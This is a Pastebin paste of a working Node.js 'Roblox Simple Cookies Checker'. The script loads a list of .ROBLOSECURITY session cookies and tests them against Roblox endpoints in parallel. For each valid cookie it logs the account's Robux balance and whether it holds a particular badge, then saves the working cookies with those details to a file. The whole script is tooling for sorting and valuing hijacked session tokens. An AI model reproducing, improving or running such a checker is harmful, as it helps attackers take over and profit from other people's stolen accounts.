Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import axios from 'axios';
- import { readFileSync, writeFileSync, existsSync } from 'fs';
- import config from './config.js';
- import { colors, wait } from './helper.js';
- // Configuration
- const badgeIdToCheck = 196200785; // Badge ID for "Level 100"
- const main = async () => {
- let missingFiles = []; // Check if needed files are missing
- if (["./config.js", "./cookies.txt"].some(file => {
- const notExisting = !existsSync(file);
- if (notExisting) missingFiles.push(file);
- return notExisting;
- })) return console.log(`${colors.fg.red}[-] Missing files: ${missingFiles.join(", ")}, please check your files or re-download the project.${colors.reset}`);
- // Cookies stuff
- let cookiesNoDuplics,
- cookies = readFileSync("./cookies.txt").toString().replace(/\r\n/g, "\n").trim().split("\n"); // cookies (raw)
- if (config.removeDuplicates) cookiesNoDuplics = [...new Set(cookies)]; // cookies (no duplicates if true)
- if (cookies.length === 0) return console.log(`${colors.fg.red}[-] No cookies found!${colors.reset}`); // Signaling user didn't provide any cookies
- // Removing duplicates if enabled
- if (cookies.length - cookiesNoDuplics.length > 0) {
- console.log(`${colors.fg.yellow}[!] Removed ${cookies.length - cookiesNoDuplics.length} duplicate cookies${colors.reset}`); // Signaling user about removed duplicates (if enabled and there are any)
- cookies = cookiesNoDuplics;
- await wait(1000); // Wait 1 second before continuing
- }
- let validCookies = [],
- loginURL = "https://www.roblox.com/home", // Roblox home page URL
- threads = 0, // threads script now using
- max_thread = (config.multithreading.enabled ? config.multithreading.threads : 1), // max threads script can use
- checked = 0; // cookies checked
- const checkCookie = async (cookie) => {
- threads++;
- let headers = {
- "Cookie": `.ROBLOSECURITY=${cookie};`
- };
- try {
- // Check if the cookie is valid by sending a request to the Roblox home page
- const resp = await axios.get(loginURL, { headers });
- if (resp.status === 200) {
- // Cookie is valid; now check additional details
- const userResponse = await axios.get('https://users.roblox.com/v1/users/authenticated', { headers });
- const userId = userResponse.data.id;
- // Check for badges
- const badgesResponse = await axios.get(`https://accountinformation.roblox.com/v1/users/${userId}/roblox-badges`, { headers });
- const badgesData = badgesResponse.data.data;
- const hasBadge = badgesData.some(badge => badge.id === badgeIdToCheck);
- const Mm2 = hasBadge ? true : false;
- // Fetch Robux
- const robuxResponse = await axios.get(`https://economy.roblox.com/v1/users/${userId}/currency`, { headers });
- const robux = robuxResponse.data.robux;
- validCookies.push({ cookie, robux, Mm2 });
- console.log(`${colors.fg.green}[+] Valid Cookie with Robux: ${robux}, Mm2: ${Mm2}${colors.reset}`);
- } else {
- console.log(`${colors.fg.red}[-] Invalid Cookie: ${cookie}${colors.reset}`);
- }
- } catch (err) {
- console.error(`${colors.fg.red}[-] Error checking cookie ${cookie}: ${err.message}${colors.reset}`);
- if (err.response) {
- console.error(`Status Code: ${err.response.status}`);
- console.error(`Response Body: ${JSON.stringify(err.response.data)}`);
- }
- }
- threads--;
- checked++;
- };
- const updateConsole = () => {
- console.clear();
- console.log([
- `${colors.bg.blue}[🍪] Roblox Simple Cookies Checker${colors.reset}`,
- `${colors.fg.green}[✅] Valid: ${validCookies.length}${colors.reset}`,
- `${colors.fg.red}[❌] Invalid: ${cookies.length - validCookies.length}${colors.reset}`,
- `${colors.fg.yellow}[⚠] Checked: ${checked}/${cookies.length}${colors.reset}`,
- ].join("\n"));
- };
- for (let cookie of cookies) {
- while (threads >= max_thread) await wait(100);
- checkCookie(cookie);
- updateConsole();
- }
- while (threads > 0) await wait(100);
- updateConsole();
- if (validCookies.length > 0) {
- const resultLines = validCookies.map(({ cookie, robux, Mm2 }) => `Cookie: ${cookie}\nRobux: ${robux}\nMm2: ${Mm2}`);
- writeFileSync("./validCookies.txt", resultLines.join("\n\n"));
- console.log(`${colors.bg.green}[✅] Saved valid cookies with details to validCookies.txt${colors.reset}`);
- } else {
- console.log(`${colors.bg.red}[❌] No valid cookies were found!${colors.reset}`);
- }
- console.log(colors.fg.green + `\n\n@kob.kuba\n\n` + colors.reset);
- };
- main();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement